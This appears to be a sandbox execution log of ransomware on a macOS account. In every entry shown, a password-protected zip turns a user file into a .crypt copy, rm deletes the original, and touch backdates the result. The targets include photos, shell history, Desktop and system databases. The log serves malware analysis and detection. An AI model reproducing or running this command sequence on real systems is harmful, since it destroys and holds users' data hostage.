/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/faceWorkerState.plist.crypt"
2⤵
PID:837

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PersonPromoter.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PersonPromoter"
2⤵
PID:838

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PersonPromoter"
2⤵
PID:839

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PersonPromoter"
2⤵
PID:839

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PersonPromoter.crypt"
2⤵
PID:840

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/AlgoFaceClusterCache.data.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/AlgoFaceClusterCache.data"
2⤵
PID:841

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/AlgoFaceClusterCache.data"
2⤵
PID:842

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/AlgoFaceClusterCache.data"
2⤵
PID:842

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/AlgoFaceClusterCache.data.crypt"
2⤵
PID:843

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PhotoAnalysisServicePreferences.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PhotoAnalysisServicePreferences.plist"
2⤵
PID:844

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PhotoAnalysisServicePreferences.plist"
2⤵
PID:845

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PhotoAnalysisServicePreferences.plist"
2⤵
PID:845

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PhotoAnalysisServicePreferences.plist.crypt"
2⤵
PID:846

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.mediaanalysisd.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.mediaanalysisd"
2⤵
PID:847

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.mediaanalysisd"
2⤵
PID:848

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.mediaanalysisd"
2⤵
PID:848

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/external.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/external"
2⤵
PID:849

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/external"
2⤵
PID:850

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/external"
2⤵
PID:850

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.photoanalysisd.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.photoanalysisd"
2⤵
PID:851

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.photoanalysisd"
2⤵
PID:852

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.photoanalysisd"
2⤵
PID:852

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.mediaanalysisd.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.mediaanalysisd"
2⤵
PID:853

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.mediaanalysisd"
2⤵
PID:854

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.mediaanalysisd"
2⤵
PID:854

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/.zsh_history.crypt /Users//run/.zsh_history
2⤵
PID:855

/usr/bin/rm
rm /Users//run/.zsh_history
2⤵
PID:856

/bin/rm
rm /Users//run/.zsh_history
2⤵
PID:856

/usr/bin/touch
touch -mt 201002130000 /Users//run/.zsh_history.crypt
2⤵
PID:857

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Desktop.crypt /Users//run/Desktop
2⤵
PID:858

/usr/bin/rm
rm /Users//run/Desktop
2⤵
PID:859

/bin/rm
rm /Users//run/Desktop
2⤵
PID:859

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Desktop/.localized.crypt /Users//run/Desktop/.localized
2⤵
PID:860

/usr/bin/rm
rm /Users//run/Desktop/.localized
2⤵
PID:861

/bin/rm
rm /Users//run/Desktop/.localized
2⤵
PID:861

/usr/bin/touch
touch -mt 201002130000 /Users//run/Desktop/.localized.crypt
2⤵
PID:862

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library.crypt /Users//run/Library
2⤵
PID:863

/usr/bin/rm
rm /Users//run/Library
2⤵
PID:864

/bin/rm
rm /Users//run/Library
2⤵
PID:864

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support.crypt" "/Users//run/Library/Application Support"
2⤵
PID:865

/usr/bin/rm
rm "/Users//run/Library/Application Support"
2⤵
PID:866

/bin/rm
rm "/Users//run/Library/Application Support"
2⤵
PID:866

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.replayd.crypt" "/Users//run/Library/Application Support/com.apple.replayd"
2⤵
PID:867

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.replayd"
2⤵
PID:868

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.replayd"
2⤵
PID:868

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.backgroundtaskmanagementagent.crypt" "/Users//run/Library/Application Support/com.apple.backgroundtaskmanagementagent"
2⤵
PID:869

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.backgroundtaskmanagementagent"
2⤵
PID:870

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.backgroundtaskmanagementagent"
2⤵
PID:870

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.transparencyd.crypt" "/Users//run/Library/Application Support/com.apple.transparencyd"
2⤵
PID:871

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.transparencyd"
2⤵
PID:872

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.transparencyd"
2⤵
PID:872

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.transparencyd/KTPublicKeyStore.plist.crypt" "/Users//run/Library/Application Support/com.apple.transparencyd/KTPublicKeyStore.plist"
2⤵
PID:873

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.transparencyd/KTPublicKeyStore.plist"
2⤵
PID:874

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.transparencyd/KTPublicKeyStore.plist"
2⤵
PID:874

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.transparencyd/KTPublicKeyStore.plist.crypt"
2⤵
PID:875

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite.crypt" "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite"
2⤵
PID:876

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite"
2⤵
PID:877

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite"
2⤵
PID:877

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite.crypt"
2⤵
PID:878

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.transparencyd/KTConfig.plist.crypt" "/Users//run/Library/Application Support/com.apple.transparencyd/KTConfig.plist"
2⤵
PID:879

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.transparencyd/KTConfig.plist"
2⤵
PID:880

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.transparencyd/KTConfig.plist"
2⤵
PID:880

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.transparencyd/KTConfig.plist.crypt"
2⤵
PID:881

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-wal.crypt" "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-wal"
2⤵
PID:882

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-wal"
2⤵
PID:883

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-wal"
2⤵
PID:883

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-wal.crypt"
2⤵
PID:884

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-shm.crypt" "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-shm"
2⤵
PID:885

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-shm"
2⤵
PID:886

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-shm"
2⤵
PID:886

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-shm.crypt"
2⤵
PID:887

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.touristd.crypt" "/Users//run/Library/Application Support/com.apple.touristd"
2⤵
PID:888

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.touristd"
2⤵
PID:889

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.touristd"
2⤵
PID:889

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.touristd/com.apple.touristd.plist.crypt" "/Users//run/Library/Application Support/com.apple.touristd/com.apple.touristd.plist"
2⤵
PID:890

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.touristd/com.apple.touristd.plist"
2⤵
PID:891

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.touristd/com.apple.touristd.plist"
2⤵
PID:891

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.touristd/com.apple.touristd.plist.crypt"
2⤵
PID:892

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CoreParsec.crypt" "/Users//run/Library/Application Support/CoreParsec"
2⤵
PID:893

/usr/bin/rm
rm "/Users//run/Library/Application Support/CoreParsec"
2⤵
PID:894

/bin/rm
rm "/Users//run/Library/Application Support/CoreParsec"
2⤵
PID:894

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CallHistoryTransactions.crypt" "/Users//run/Library/Application Support/CallHistoryTransactions"
2⤵
PID:895

/usr/bin/rm
rm "/Users//run/Library/Application Support/CallHistoryTransactions"
2⤵
PID:896

/bin/rm
rm "/Users//run/Library/Application Support/CallHistoryTransactions"
2⤵
PID:896

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CallHistoryTransactions/transaction.log.crypt" "/Users//run/Library/Application Support/CallHistoryTransactions/transaction.log"
2⤵
PID:897

/usr/bin/rm
rm "/Users//run/Library/Application Support/CallHistoryTransactions/transaction.log"
2⤵
PID:898

/bin/rm
rm "/Users//run/Library/Application Support/CallHistoryTransactions/transaction.log"
2⤵
PID:898

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/CallHistoryTransactions/transaction.log.crypt"
2⤵
PID:899

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.spotlight.crypt" "/Users//run/Library/Application Support/com.apple.spotlight"
2⤵
PID:900

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.spotlight"
2⤵
PID:901

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.spotlight"
2⤵
PID:901

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.spotlight/parsecResources.plist.crypt" "/Users//run/Library/Application Support/com.apple.spotlight/parsecResources.plist"
2⤵
PID:902

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.spotlight/parsecResources.plist"
2⤵
PID:903

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.spotlight/parsecResources.plist"
2⤵
PID:903

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.spotlight/parsecResources.plist.crypt"
2⤵
PID:904

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.spotlight/Resources.update_V3.crypt" "/Users//run/Library/Application Support/com.apple.spotlight/Resources.update_V3"
2⤵
PID:905

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources.update_V3"
2⤵
PID:906

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources.update_V3"
2⤵
PID:906

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.spotlight/SubmittedReports.crypt" "/Users//run/Library/Application Support/com.apple.spotlight/SubmittedReports"
2⤵
PID:907

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.spotlight/SubmittedReports"
2⤵
PID:908

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.spotlight/SubmittedReports"
2⤵
PID:908

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3.crypt" "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3"
2⤵
PID:909

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3"
2⤵
PID:910

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3"
2⤵
PID:910

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Experimental.crypt" "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Experimental"
2⤵
PID:911

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Experimental"
2⤵
PID:912

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Experimental"
2⤵
PID:912

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Shadow.crypt" "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Shadow"
2⤵
PID:913

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Shadow"
2⤵
PID:914

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Shadow"
2⤵
PID:914

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Default.crypt" "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Default"
2⤵
PID:915

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Default"
2⤵
PID:916

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Default"
2⤵
PID:916

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.spotlight/appList.dat.crypt" "/Users//run/Library/Application Support/com.apple.spotlight/appList.dat"
2⤵
PID:917

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.spotlight/appList.dat"
2⤵
PID:918

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.spotlight/appList.dat"
2⤵
PID:918

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.spotlight/appList.dat.crypt"
2⤵
PID:919

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/dmd.crypt" "/Users//run/Library/Application Support/dmd"
2⤵
PID:920

/usr/bin/rm
rm "/Users//run/Library/Application Support/dmd"
2⤵
PID:921

/bin/rm
rm "/Users//run/Library/Application Support/dmd"
2⤵
PID:921

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/Quick Look.crypt" "/Users//run/Library/Application Support/Quick Look"
2⤵
PID:922

/usr/bin/rm
rm "/Users//run/Library/Application Support/Quick Look"
2⤵
PID:923

/bin/rm
rm "/Users//run/Library/Application Support/Quick Look"
2⤵
PID:923

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db.crypt" "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db"
2⤵
PID:924

/usr/bin/rm
rm "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db"
2⤵
PID:925

/bin/rm
rm "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db"
2⤵
PID:925

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db.crypt"
2⤵
PID:926

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-shm.crypt" "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-shm"
2⤵
PID:927

/usr/bin/rm
rm "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-shm"
2⤵
PID:928

/bin/rm
rm "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-shm"
2⤵
PID:928

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-shm.crypt"
2⤵
PID:929

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-wal.crypt" "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-wal"
2⤵
PID:930

/usr/bin/rm
rm "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-wal"
2⤵
PID:931

/bin/rm
rm "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-wal"
2⤵
PID:931

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-wal.crypt"
2⤵
PID:932

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CrashReporter.crypt" "/Users//run/Library/Application Support/CrashReporter"
2⤵
PID:933

/usr/bin/rm
rm "/Users//run/Library/Application Support/CrashReporter"
2⤵
PID:934

/bin/rm
rm "/Users//run/Library/Application Support/CrashReporter"
2⤵
PID:934

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CrashReporter/Intervals_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist.crypt" "/Users//run/Library/Application Support/CrashReporter/Intervals_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist"
2⤵
PID:935

/usr/bin/rm
rm "/Users//run/Library/Application Support/CrashReporter/Intervals_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist"
2⤵
PID:936

/bin/rm
rm "/Users//run/Library/Application Support/CrashReporter/Intervals_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist"
2⤵
PID:936

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/CrashReporter/Intervals_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist.crypt"
2⤵
PID:937

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CrashReporter/meysam_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist.crypt" "/Users//run/Library/Application Support/CrashReporter/meysam_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist"
2⤵
PID:938

/usr/bin/rm
rm "/Users//run/Library/Application Support/CrashReporter/meysam_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist"
2⤵
PID:939

/bin/rm
rm "/Users//run/Library/Application Support/CrashReporter/meysam_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist"
2⤵
PID:939

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/CrashReporter/meysam_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist.crypt"
2⤵
PID:940

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CloudDocs.crypt" "/Users//run/Library/Application Support/CloudDocs"
2⤵
PID:941

/usr/bin/rm
rm "/Users//run/Library/Application Support/CloudDocs"
2⤵
PID:942

/bin/rm
rm "/Users//run/Library/Application Support/CloudDocs"
2⤵
PID:942

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.sharedfilelist.crypt" "/Users//run/Library/Application Support/com.apple.sharedfilelist"
2⤵
PID:943

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.sharedfilelist"
2⤵
PID:944

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.sharedfilelist"
2⤵
PID:944

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments.crypt" "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments"
2⤵
PID:945

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments"
2⤵
PID:946

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments"
2⤵
PID:946

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ProjectsItems.sfl2.crypt" "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ProjectsItems.sfl2"
2⤵
PID:947

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ProjectsItems.sfl2"
2⤵
PID:948

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ProjectsItems.sfl2"
2⤵
PID:948

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ProjectsItems.sfl2.crypt"
2⤵
PID:949

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteVolumes.sfl2.crypt" "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteVolumes.sfl2"
2⤵
PID:950

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteVolumes.sfl2"
2⤵
PID:951

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteVolumes.sfl2"
2⤵
PID:951

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteVolumes.sfl2.crypt"
2⤵
PID:952

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteItems.sfl2.crypt" "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteItems.sfl2"
2⤵
PID:953

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteItems.sfl2"
2⤵
PID:954

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteItems.sfl2"
2⤵
PID:954

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteItems.sfl2.crypt"
2⤵
PID:955

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.RecentApplications.sfl2.crypt" "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.RecentApplications.sfl2"
2⤵
PID:956

/usr/bin/rm
rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.RecentApplications.sfl2"
2⤵
PID:957

/bin/rm
rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.RecentApplications.sfl2"
2⤵
PID:957

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.RecentApplications.sfl2.crypt"
2⤵
PID:958

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/Knowledge.crypt" "/Users//run/Library/Application Support/Knowledge"
2⤵
PID:959

/usr/bin/rm
rm "/Users//run/Library/Application Support/Knowledge"
2⤵
PID:960

/bin/rm
rm "/Users//run/Library/Application Support/Knowledge"
2⤵
PID:960

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/Knowledge/knowledgeC.db.crypt" "/Users//run/Library/Application Support/Knowledge/knowledgeC.db"
2⤵
PID:961

/usr/bin/rm
rm "/Users//run/Library/Application Support/Knowledge/knowledgeC.db"
2⤵
PID:962

/bin/rm
rm "/Users//run/Library/Application Support/Knowledge/knowledgeC.db"
2⤵
PID:962

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/Knowledge/knowledgeC.db.crypt"
2⤵
PID:963

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-shm.crypt" "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-shm"
2⤵
PID:964

/usr/bin/rm
rm "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-shm"
2⤵
PID:965

/bin/rm
rm "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-shm"
2⤵
PID:965

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-shm.crypt"
2⤵
PID:966

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-wal.crypt" "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-wal"
2⤵
PID:967

/usr/bin/rm
rm "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-wal"
2⤵
PID:968

/bin/rm
rm "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-wal"
2⤵
PID:968

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-wal.crypt"
2⤵
PID:969

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/icdd.crypt" "/Users//run/Library/Application Support/icdd"
2⤵
PID:970

/usr/bin/rm
rm "/Users//run/Library/Application Support/icdd"
2⤵
PID:971

/bin/rm
rm "/Users//run/Library/Application Support/icdd"
2⤵
PID:971

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/icdd/deviceInfoCache.plist.crypt" "/Users//run/Library/Application Support/icdd/deviceInfoCache.plist"
2⤵
PID:972

/usr/bin/rm
rm "/Users//run/Library/Application Support/icdd/deviceInfoCache.plist"
2⤵
